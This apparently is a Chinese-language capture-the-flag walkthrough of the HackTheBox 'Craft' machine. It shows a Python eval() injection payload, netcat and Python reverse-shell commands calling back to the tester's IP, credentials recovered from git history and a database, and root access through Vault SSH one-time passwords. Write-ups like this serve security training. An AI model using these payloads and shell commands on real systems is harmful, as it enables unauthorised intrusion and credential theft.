hackthebox:https://www.hackthebox.eu/home/machines/profile/197
将Hackthebox ip添加入hosts文件
1 | echo "10.10.10.110 craft.htb" >> /etc/hosts |
recon
nmap进行扫描
1 | nmap -sV -sT -sC craft.htb |
开放22
和443
端口。
访问https://craft.htb
提示
Craft aims to be the largest repository of US-produced craft brews accessible over REST. In the future we will release a mobile app to interface with our public rest API as well as a brew submission process, but for now, check out our API!
应该是存在REST的漏洞
在网页上随便点击,发现跳转到https://api.craft.htb/api/
和https://gogs.craft.htb/
都无法正常响应,在/etc/hosts/
文件中添加这两个文件才能访问它。
1 | $ echo "10.10.10.110 gogs.craft.htb" >> /etc/hosts |
添加后再次访问
出于好奇,我检查了漏洞Gogs
并发现了CVE-2018-18925和CVE-2018-20303:
Gogs 0.11.66允许远程执行代码,因为它不能正确验证会话ID,如file.go中文件会话提供程序中的“ ..”会话文件伪造所证明的。 https://nvd.nist.gov/vuln/detail/CVE-2018-18925
在0.11.82.1218之前的Gogs中的pkg / tool / path.go中,文件上载功能中的目录遍历可以使攻击者在服务器上的数据/会话下创建文件。 https://nvd.nist.gov/vuln/detail/CVE-2018-20303
漏洞利用程序(GogsOwnz)也是可用的,并允许在Gogs / Gitea服务器上获得管理员权限和RCE。
不幸的是,gogs.craft.htb
显示的页脚表明所使用的版本不是易受攻击的版本:
© 2018 Gogs 当前版本: 0.11.86.0130 页面: 4ms 模板: 0ms
这确认我们的入口点可能是api。让我们调查一下。
既然我们有代码源,它将极大地帮助我们进行调查。该API在带有Flask框架的Python中使用。
让我们克隆它以更轻松地检查代码:
1 | GIT_SSL_NO_VERIFY=true git clone https://gogs.craft.htb/Craft/craft-api.git |
RCE
在API上远程执行代码
进行静态代码分析时,我要做的第一件事是检查是否使用了危险功能并将其用于命令注入。这是将贝壳放在盒子上的最简单方法。
如果此搜索没有给出任何结果,我将继续进行SQL注入等等。
在Python中引入命令注入漏洞的最常见方式是通过eval()
函数来运行程序中的python代码(作为参数传递)。
一个快速的grep
告诉我们在API中是否使用了此类功能:
1 | $ grep -ri "eval" craft-api |
发现存在eval函数的点,查看brew.py
源码
1 |
|
任何在request abv
参数中发送的Python代码都将被解释。不幸的是,@auth.auth_required
告知我们在使用此易受攻击的端点之前,我们首先需要一种对自己进行身份验证的方法。
阅读文档和代码源后,似乎没有任何方法可以创建一个新帐户或使用已经制成的令牌对API进行身份验证。我们需要找到另一种验证方式。
由于我们有权访问git存储库,因此我们可以尝试利用git/svn存储库中的常见缺陷。最常见的问题是开发人员不小心将API密钥,令牌或密码推送到存储库
有一些好工具,例如truffleHog或git-secrets允许自动检索意外提交的机密和凭据。(我试了这两个工具都没能检出)
由于历史记录中只有6个提交,因此我们可以手动对其进行检查,以确保我们不会忘记任何内容。在提交时,a2d28ed155
我们发现了一个有趣的commit:
1 | $ curl "https://api.craft.htb/api/auth/login" -k --user dinesh:4aUh0A8PbVJxgd |
我们已通过认证!请注意,此API不使用通常的Authorization: Bearer <token>
标头,而是使用格式的自定义标头X-Craft-Api-Token: <token>
。很容易忽略这一点,这就是为什么花时间阅读代码并理解应用程序的内部工作原理很重要的原因。
1 | # craft_api/api/auth/endpoints/auth.py |
现在,我们拥有执行命令注入所需的所有信息。
由于我们需要在brew
端点上进行身份验证并执行多个查询,因此我决定编写一个脚本以避免编写上千个curl请求。
由于craft-api/tests/test.py
已经提供了坚实的基础,因此无需从头开始。我对其进行了一些微调,以最终得到以下脚本:
1 | #!/usr/bin/env python |
由于eval()
将运行任何python代码,因此我们将使用此lambda函数__import__("os").popen("CMD").read()
从python代码运行os命令。
我添加了一个,input('> ')
因此我们只需要键入命令即可在API上运行它。
但是,我们没有任何可用的输出,那么我们如何知道命令已成功执行?
使用基于时间的注入;)
我们将注入一个sleep 5
命令:
- 如果API挂起5秒钟,则表明我们的命令已成功执行
- 如果API立即响应,则注入失败。
使用requests
库elapsed.total_seconds()
函数,我们可以显示成功请求所花费的时间。
我将其添加到脚本中,以便我们可以轻松查看sleep 5
注入是否工作正常。
1 | [...] |
Let's it give a try:
1 | $ python test.py |
执行语句
1 | brew_dict['abv'] = '__import__("os").popen("{} && sleep 5").read()'.format(cmd) |
由于wget --help
命令执行需要3秒钟,因此这意味着命令可以正常运行。虽然curl --help
失败了,Execution time: 0.162407
没有开始的意思,curl
可能没有安装。
1 | $ python test.py |
这个小技巧将使我们获得宝贵的反馈,以了解我们的命令是成功还是失败。
让我们尝试打开我们经典的反向shell
1 | $ nc -l -vv -p 8585 |
并在API上启动我们的测试脚本:
1 | $ python test.py |
奇怪的是,这nc
似乎不起作用,但似乎已安装。这很奇怪,但是让我们继续使用另一种类型的反向外壳。由于我们确定已经安装了python,因此我们使用python反向外壳。
为了简化操作,我们启动一个小型http服务器来托管我们的python反向shell文件:
1 | $ cat hg8.py |
回到我们的原始终端,让我们启动注入:
1 | $ python test.py |
netcat监听
1 | nc -l -vv -p 8585 |
注意:现在,我们已经准备就绪,可以调查为什么原始的netcat命令不起作用了。
netcat此框随附的版本为Busybox版本。手动状态:
在此版本中,-e
选项必须为last。因此,如果我们运行nc 10.10.10.85 8585 -e /bin/sh
而不是执行nc -e /bin/sh 10.10.10.85 8585
该命令,则将成功完成。我尝试了,它起作用了。奇怪,但对未来要牢记。
docker to Physical Machines
现在回到我们的主题。我们在API上获得了shell。不幸的是,正如您在id
命令中注意到的那样,似乎我们在docker容器中。
发现数据库信息
尝试访问数据库
1 | /opt/app # mysql |
当然,在这个监狱里也没有mysql
可用……早些时候我注意到一个数据库测试脚本。由于没有其他可用的内容,我们将使用此python脚本进行编辑。首先,让我们列出表:
1 | #!/usr/bin/env python |
运行此脚本将返回两个表:brew
和users
。当然,让我们通过编辑dbtest.py
脚本列出用户:
1 | - sql = "SELECT table_name FROM information_schema.tables;" |
1 | /opt/app # python dbtest.py |
有几个使用纯文本密码的用户:
- 尝试每个
ssh
都行不通。 - 不能用作API凭证
所以剩下的就是回到Gogs实例。登录为gilfoyle
可让我们访问一个非常有趣的私有存储库:
让我们克隆它来探索它:
1 | $ GIT_SSL_NO_VERIFY=true git clone https://gilfoyle:ZEU3N8WNM2rh4T@gogs.craft.htb/gilfoyle/craft-infra.git |
首先引起注意的是同时.ssh
包含公钥和私钥的文件夹。我们应该能够使用gilfoyle
通过SSH 进行登录:
1 | $ chmod 600 .ssh/id_rsa |
密钥需要一个密码短语id_rsa
,幸运的是,我们遇到了密码重用的情况,并且ZEU3N8WNM2rh4T
在数据库转储中找到的密码是有效的。
1 | gilfoyle@craft:~$ cat user.txt |
Elevation
对用户而言,gilfoyle
没有什么特别吸引眼球的,并且该盒的配置似乎不错。枚举后,我们仍然注意到一个不常见的ssh配置:
1 | gilfoyle@craft:~$ cat /etc/ssh/sshd_config |
检查主目录中的文件还会显示一个可能有用的令牌:
1 | gilfoyle@craft:~$ ls -a |
我们再次注意到这与Vault
有关,我们已经在craft-infra
存储库中看到了它。挖吧
我对Vault
一无所知,因此我检查了他们的网站:
用于秘密管理,加密即服务和特权访问管理的工具 https://www.vaultproject.io/
利用Vault获取SSH根密码
该文件craft-infra/src/master/vault/secrets.sh
在craft-infra
仓库看起来很有希望:
1 | #!/bin/bash |
它确认Vault是用于ssh访问root的。key_type=otp
似乎意味着它是一种一次性密码机制。
经过一番谷歌搜索,我们在Vault上找到了以下文档:
一次性SSH密码(OTP)SSH机密引擎类型允许Vault服务器每次客户端希望使用远程主机上的helper命令通过SSH进入远程主机时执行一次一次性密码。 https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html
好了,我们有所有需要的信息。让我们为根帐户生成一个一次性密码!
从这里开始,我将遵循上面链接的文档。首先,我们需要安装秘密引擎:
1
2
3 > gilfoyle@craft:~$ vault secrets enable ssh
> Successfully mounted 'ssh' at 'ssh'!
>
然后,我们创建一个key_type
参数设置为的角色otp
。我将使用与输入相同的命令craft-infra/src/master/vault/secrets.sh
来确保我们不会丢失任何内容:
1 | gilfoyle@craft:~$ vault write ssh/roles/root_otp \ |
下一步,我们为属于以下主机的远程主机的IP创建OTP凭据otp_key_role
:
1 | gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=10.10.10.110 |
一切顺利。让我们启动一个新终端并尝试以以下身份登录root
:
1 | $ ssh root@craft.htb |